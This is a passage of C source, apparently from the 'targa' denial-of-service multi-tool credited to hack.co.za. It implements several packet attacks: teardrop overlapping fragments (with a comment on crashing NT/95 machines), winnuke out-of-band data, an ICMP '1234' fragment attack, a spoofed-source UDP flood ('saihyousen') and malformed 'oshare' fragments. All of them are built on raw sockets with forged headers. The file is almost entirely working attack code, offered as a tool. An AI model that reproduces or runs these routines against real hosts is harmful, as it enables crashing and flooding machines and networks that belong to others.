void tear_frags (int, u_long, u_long, u_short, u_short);
int
teardrop (char *tear_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
< 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (tear_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;
addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
tear_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "
%%
");
usleep (500);
}
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void
tear_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + TPADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + TPADDING);
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + TPADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + TPADDING); /* UDP total length */
if (sendto (sock, packet, IPH + UDPH + TPADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);
if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}
/* winnuke(destination,repeats) */
int winnuke_s;
char *str = "bill_loves_you!";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int
winnuke_sub (int sock, char *server, int port)
{
struct sockaddr_in blah;
struct hostent *he;
bzero ((char *) &blah, sizeof (blah));
blah.sin_family = AF_INET;
blah.sin_addr.s_addr = inet_addr (server);
blah.sin_port = htons (port);
if ((he = gethostbyname (server)) != NULL)
{
bcopy (he->h_addr, (char *) &blah.sin_addr, he->h_length);
}
else
{
if ((blah.sin_addr.s_addr = inet_addr (server)) < 0)
{
perror ("gethostbyname()");
return (-3);
}
}
if (connect (sock, (struct sockaddr *) &blah, 16) == -1)
{
perror ("connect()");
close (sock);
return (-4);
}
return 0;
}
int
winnuke (char *winnuke_host, int timez)
{
int wncounter;
for (wncounter = 0; wncounter < timez; wncounter++)
{
if ((winnuke_s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
perror ("socket()");
exit (-1);
}
winnuke_sub (winnuke_s, winnuke_host, WNUKEPORT);
send (winnuke_s, str, strlen (str), MSG_OOB);
fprintf (stderr, "
*
");
usleep (500);
close (winnuke_s);
}
return 0;
} // this is line 1234 of targa.c, strange coincidence :)
/* 1234 attack(destination) */
int x_resolve (const char *name, unsigned int port,
struct sockaddr_in *addr);
int sub_1234 (int socket, unsigned long spoof_addr,
struct sockaddr_in *dest_addr);
int
x1234 (char *one_host)
{
struct sockaddr_in dest_addr;
unsigned int i, sock;
if ((sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
return (-1);
if (x_resolve (one_host, 0, &dest_addr) == -1)
{
return (-1);
}
for (i = 0; i < 10; i++)
sub_1234 (sock, rand (), &dest_addr);
fprintf (stderr, "
!
");
close (sock);
return 0;
}
int
x_resolve (const char *name, unsigned int port, struct sockaddr_in *addr)
{
struct hostent *host;
memset (addr, 0, sizeof (struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr (name);
if (addr->sin_addr.s_addr == -1)
{
if ((host = gethostbyname (name)) == NULL)
return (-1);
addr->sin_family = host->h_addrtype;
memcpy ((caddr_t) & addr->sin_addr, host->h_addr, host->h_length);
}
addr->sin_port = htons (port);
return (0);
}
unsigned short
x_cksum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int
sub_1234 (int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr)
{
unsigned char *packet;
struct iphdr *ip;
struct icmphdr *icmp;
packet = (unsigned char *) malloc (sizeof (struct iphdr) +
sizeof (struct icmphdr) + 8);
ip = (struct iphdr *) packet;
icmp = (struct icmphdr *) (packet + sizeof (struct iphdr));
memset (ip, 0, sizeof (struct iphdr) + sizeof (struct icmphdr) + 8);
ip->ihl = 5;
ip->version = 4;
ip->id = htons (1234);
ip->frag_off |= htons (0x2000);
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->saddr = spoof_addr;
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = x_cksum (ip, sizeof (struct iphdr));
icmp->type = 12;
icmp->code = 0;
icmp->checksum = x_cksum (icmp, sizeof (struct icmphdr) + 1);
if (sendto (socket, packet,
sizeof (struct iphdr) + sizeof (struct icmphdr) + 1,
0, (struct sockaddr *) dest_addr,
sizeof (struct sockaddr)) == -1)
{
return (-1);
}
ip->tot_len = htons (sizeof (struct iphdr) + sizeof (struct icmphdr) + 8);
ip->frag_off = htons (8 >> 3);
ip->frag_off |= htons (0x2000);
ip->check = x_cksum (ip, sizeof (struct iphdr));
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
if (sendto (socket, packet,
sizeof (struct iphdr) + sizeof (struct icmphdr) + 8,
0, (struct sockaddr *) dest_addr,
sizeof (struct sockaddr)) == -1)
{
return (-1);
}
free (packet); // ph33r phr33 w1lly
return (0);
}
/* saihyousen attack(destination) */// this is line no. 1337 :P
int
saihyousen (char *sai_host)
{
int fd, x = 1, hosti = 192, hostii = 168, hostiii = 1, meep = 0;
int fooport = 1, numpack = 0;
char funhost[15];
struct sockaddr_in *p;
struct hostent *he;
struct sockaddr sa;
u_char gram[36] =
{
0x45, 0x00, 0x00, 0x26, 0x12, 0x34, 0x00, 0x00, 0xff, 0x11, 0xff, 0x7f,
0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
0x8f, 0x00, 0x12, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt (fd, IPPROTO_IP, IP_HDRINCL, (char *) &x, sizeof (x));
for (numpack = 0; numpack <= 100; numpack++)
{
if (meep == 0)
{
++hosti;
meep++;
}
if (hosti > 254)
hosti = 1;
if (meep == 1)
{
++hostii;
meep++;
}
if (hostii > 254)
hostii = 1;
if (meep == 2)
{
++hostiii;
meep = 0;
}
if (hostiii > 254)
hostiii = 1;
sprintf (funhost, "%i.%i.%i.%i", hosti, hostii, hostiii, hosti);
he = gethostbyname (funhost);
bcopy (*(he->h_addr_list), (gram + 12), 4);
he = gethostbyname (sai_host);
bcopy (*(he->h_addr_list), (gram + 16), 4);
fooport++;
if (fooport > 65530)
{
fooport = 1;
};
*(u_short *) (gram + 20) = htons ((u_short) fooport);
*(u_short *) (gram + 22) = htons ((u_short) fooport);
p = (struct sockaddr_in *) &sa;
p->sin_family = AF_INET;
bcopy (*(he->h_addr_list), &(p->sin_addr), sizeof (struct in_addr));
sendto (fd, &gram, sizeof (gram), 0, (struct sockaddr *) p,
sizeof (struct sockaddr));
}
fprintf (stderr, "
+
");
close (fd);
return 1;
}
/* oshare(destination) */
int osend (int, u_long);
int
oshare (char *o_host)
{
int loopy;
int socky = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
unsigned long desty = inet_addr (o_host);
for (loopy = 0; loopy < 500; loopy++)
osend (socky, desty);
fprintf (stderr, "
|
");
close (socky);
return 1;
}
int
osend (int sock_send, u_long dst_addr)
{
char *packet;
int send_status;
struct iphdr *ip;
struct sockaddr_in to;
packet = (char *) malloc (40);
ip = (struct iphdr *) (packet);
memset (packet, 0, 40);
ip->version = 4;
ip->ihl = sizeof (struct iphdr) / 4; //guess it works
ip->tos = 0x00;
ip->tot_len = htons (sizeof (struct iphdr) +
sizeof (struct udphdr)); //hope it works :P
ip->id = htons (1999);
ip->frag_off = htons (16383);
ip->ttl = 0xff;
ip->protocol = IPPROTO_UDP;
ip->saddr = htonl (rand ());
ip->daddr = dst_addr;
ip->check = in_cksum ((u_short *) ip, ip->ihl);
to.sin_family = AF_INET;
to.sin_port = htons (rand ());
to.sin_addr.s_addr = dst_addr;
send_status = sendto (sock_send, packet, 40, 0,
(struct sockaddr *) &to,
sizeof (struct sockaddr));
free (packet); // free willy owns
return (send_status);
}
/* www.hack.co.za [2000]*/